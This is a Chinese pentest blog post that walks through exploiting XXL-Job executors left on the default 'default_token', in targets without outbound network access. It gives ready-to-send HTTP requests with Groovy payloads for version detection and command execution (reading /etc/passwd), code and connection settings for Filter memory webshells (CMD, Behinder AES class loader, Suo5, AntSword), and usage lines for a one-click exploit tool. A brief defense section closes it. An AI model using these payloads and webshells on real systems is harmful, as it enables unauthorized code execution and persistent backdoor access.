XXL-Job 执行器默认 AccessToken 漏洞:不出网场景下的利用与内存马注入实践

106次阅读
没有评论

在渗透测试中,XXL-Job 相关漏洞常因直接反弹 shell 的便捷性被关注,但实际场景中“不出网”“无调度中心面板”的情况更为棘手。本文结合实战案例,详细拆解 XXL-Job 执行器默认 token 漏洞的版本检测、命令执行及多种内存马注入方法,同时提供一键化工具简化操作,适用于安全测试人员与运维人员参考。

XXL-Job 执行器默认 AccessToken 漏洞:不出网场景下的利用与内存马注入实践

一、漏洞背景与测试环境说明

XXL-Job 作为常用的分布式任务调度框架,部分版本的执行器存在 默认 AccessToken(default_token)  配置漏洞。攻击者可利用该漏洞绕过认证,执行恶意代码。本次测试针对“不出网、无调度中心”的实战场景,重点验证漏洞利用的可行性与替代方案。

核心测试环境参数

配置项 具体内容 说明
目标系统 XXL-Job 执行器 非完整 XXL-Job 项目,仅集成执行器模块
测试版本 2.2.0、2.3.1、2.4.1 覆盖主流稳定版本,验证版本差异影响
默认 Token default_token 执行器默认配置,未修改则存在风险
常用端口 9999 XXL-Job 执行器默认通信端口,需结合实际情况探测

二、版本检测与操作系统识别

不同 XXL-Job 版本的日志输出类存在差异,这是版本检测的核心依据。通过构造 /run 请求执行 Groovy 脚本,结合 /log 接口查询结果,可同时实现版本判断与操作系统识别。

2.1 XXL-Job 2.2.0 版本检测

2.2.0 版本依赖 xxl.job.core.log.XxlJobLogger 类输出日志,脚本需返回 ReturnT<String> 类型结果。

1. 发送执行请求(POST /run)

核心是通过 Groovy 脚本调用 System.getProperty("os.name") 获取系统信息,并通过 XxlJobLogger.log() 输出标识。

POST /run HTTP/1.1
Host: IP:9999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 933

{
  "jobId": 16,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 16,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.log.XxlJobLogger;public class DemoGlueJobHandler extends IJobHandler {@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {try {String os=System.getProperty(\"os.name\").toLowerCase();XxlJobLogger.log(os.contains(\"win\")?\"**********Windows**********\":\"**********Linux/Unix**********\");return com.xxl.job.core.biz.model.ReturnT.SUCCESS;} catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}}}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

成功响应为{"code":200},表示脚本已执行。

2. 查询日志(POST /log)

通过 logId 查询执行结果,日志中会包含系统标识(如**********Linux/Unix**********)。

POST /log HTTP/1.1
Host: IP:9999
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

{"logId": 16}

2.2 XXL-Job >2.2.0 版本检测(2.3.1/2.4.1)

2.2.0 之后的版本将日志类改为 xxl.job.core.context.XxlJobHelper,且execute 方法返回值变为void,需调整脚本适配。

核心请求差异

  • 日志类:从 XxlJobLogger 改为XxlJobHelper
  • 方法签名:从 public ReturnT<String> execute(String param) 改为void execute()

执行请求示例(POST /run)

POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 782

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.context.XxlJobHelper;public class DemoGlueJobHandler extends IJobHandler {@Override void execute() throws Exception {try {String os=System.getProperty(\"os.name\").toLowerCase();XxlJobHelper.log(os.contains(\"win\")?\"**********Windows**********\":\"**********Linux/Unix**********\");} catch(Exception e){XxlJobHelper.log(e.getMessage());}}}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

2.3 版本与日志类对应关系

XXL-Job 版本 日志输出类 方法签名 日志标识特征
2.2.0 XxlJobLogger ReturnT<String> execute(String param) NativeMethodAccessorImpl#invoke0
>2.2.0(2.3.1/2.4.1) XxlJobHelper void execute() GeneratedMethodAccessor#invoke

三、不出网场景下的命令执行

不出网环境无法直接反弹 shell,需通过 /run 接口执行命令,再通过 /log 接口读取结果,实现“执行 – 回显”闭环。以 2.2.0 版本执行 cat /etc/passwd 为例。

3.1 命令执行请求(POST /run)

在 Groovy 脚本中加入 Runtime.getRuntime().exec() 执行系统命令,并用 StringBuilder 拼接结果,通过日志回显。

POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 1115

{
  "jobId": 123,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 123,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;\nimport com.xxl.job.core.handler.IJobHandler;\nimport com.xxl.job.core.log.XxlJobLogger;\npublic class DemoGlueJobHandler extends IJobHandler {\n@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {\ntry {\nProcess p=Runtime.getRuntime().exec(\"cat /etc/passwd\");\njava.io.BufferedReader r=new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));\nStringBuilder sb=new StringBuilder();\nString line;\nwhile((line=r.readLine())!=null) sb.append(line).append(\"**********\");\nXxlJobLogger.log(sb.toString());\nreturn com.xxl.job.core.biz.model.ReturnT.SUCCESS;\n}catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}\n}\n}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

3.2 结果读取

发送 /log 请求查询 logId=123 的日志,结果中会包含 /etc/passwd 的内容,例如:

{
  "code": 200,
  "content": {
    "fromLineNum": 0,
    "toLineNum": 7,
    "logContent": "root:x:0:0:root:/root:/bin/bash**********daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin**********..."
  }
}

四、Filter 内存马注入方案

命令执行需频繁发送请求,效率较低。在不出网场景下,注入内存马可建立长期控制通道。以下介绍 4 种常用内存马的注入方法,均通过注册 Filter 实现。

4.1 CMD 内存马(简单命令交互)

核心特点

  • 连接路径:/A_llen666
  • 触发参数:cmd(直接传入命令,如whoami
  • 适配系统:自动识别 Windows/Linux,分别调用 cmd.exe/bin/bash

注入原理

  1. 创建自定义 Filter,监听 /A_llen666 路径;
  2. 当请求携带 cmd 参数时,根据操作系统执行命令;
  3. 将命令结果通过 ServletResponse 返回,实现实时交互。

连接示例

注入成功后,访问以下 URL 即可执行命令:

http://ip:port/A_llen666?cmd=ls  # Linux 系统
http://ip:port/A_llen666?cmd=dir # Windows 系统

4.2 冰蝎内存马(加密通信)

适合需要隐蔽通信的场景,支持冰蝎客户端连接,加密传输命令与结果。

核心配置

  • 连接路径:/rebeyond
  • 连接密码:rebeyond
  • 加密方式:AES
  • 触发方式:POST 请求,通过冰蝎客户端填写配置连接

关键代码片段

Filter filter = new Filter() {public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);
            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b"; // 密钥
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                // 解密并执行恶意类
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){e.printStackTrace();
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
};

4.3 Suo5 内存马(客户端专用)

需通过 Suo5 客户端连接,通过 Referer 头验证身份,增加隐蔽性。

核心配置

  • 连接路径:/suo5
  • 验证头:Referer: Igoxoomgb
  • 客户端命令:./suo5 -t http://target:port/suo5 -H "Referer: Igoxoomgb"

4.4 蚁剑内存马(兼容性强)

适配蚁剑客户端,通过 Referer 头与密钥双重验证,适合常规渗透场景。

核心配置

  • 连接路径:/antsword
  • 连接密钥:Nazkkdgde
  • 验证头:Referer: Niykzlij
  • 触发方式:蚁剑客户端填写路径、密钥及请求头,测试连接后即可控制。

4.5 内存马注入关键注意事项

  1. 版本适配:2.4.1 版本中冰蝎内存马的 payload 需调整,主要是加密逻辑与类加载方式的差异;
  2. 转义问题 :Groovy 脚本中\ 会被识别为占位符,需进行双重转义(如 \" 改为\\");
  3. 容器兼容性:本次仅测试 Tomcat 容器,其他容器(如 Jetty)需调整 Filter 注册逻辑;
  4. 避免影响业务:Netty 内存马会覆盖原有 handler 逻辑,可能导致执行器故障,暂不推荐。

五、一键化漏洞利用工具

手动构造请求与脚本效率低,且易出错。为此开发了 XXL-Job 执行器漏洞一键利用工具,集成版本检测、命令执行、内存马注入功能。

工具特点

使用示例

# 检测目标版本
python xxl_job_exploit.py -u http://ip:9999 -t default_token -m detect

# 执行命令(cat /etc/passwd)python xxl_job_exploit.py -u http://ip:9999 -t default_token -m exec -c "cat /etc/passwd"

# 注入 CMD 内存马(路径 /A_llen666)python xxl_job_exploit.py -u http://ip:9999 -t default_token -m memshell -t cmd -p /A_llen666

六、漏洞防御建议

  1. 修改默认 Token:在执行器配置文件(如 application.properties)中,将xxl.job.accessToken 改为复杂随机字符串,避免使用default_token
  2. 限制端口访问:XXL-Job 执行器端口(如 9999)仅对调度中心 IP 开放,禁止公网访问;
  3. 升级框架版本:尽量使用 2.4.1 以上版本,修复已知的权限控制缺陷;
  4. 定期安全检测:通过漏洞扫描工具定期检测执行器,排查默认配置与未授权访问风险。

本文从实战场景出发,覆盖了 XXL-Job 执行器默认 token 漏洞的全流程利用,尤其针对“不出网”痛点提供了内存马解决方案。安全人员可借助文中方法与工具高效测试,运维人员也可参考防御建议加固系统,降低漏洞风险。

正文完
 0
Fr2ed0m
版权声明:本站原创文章,由 Fr2ed0m 于2025-10-23发表,共计7643字。
转载说明:Unless otherwise specified, all articles are published by cc-4.0 protocol. Please indicate the source of reprint.
评论(没有评论)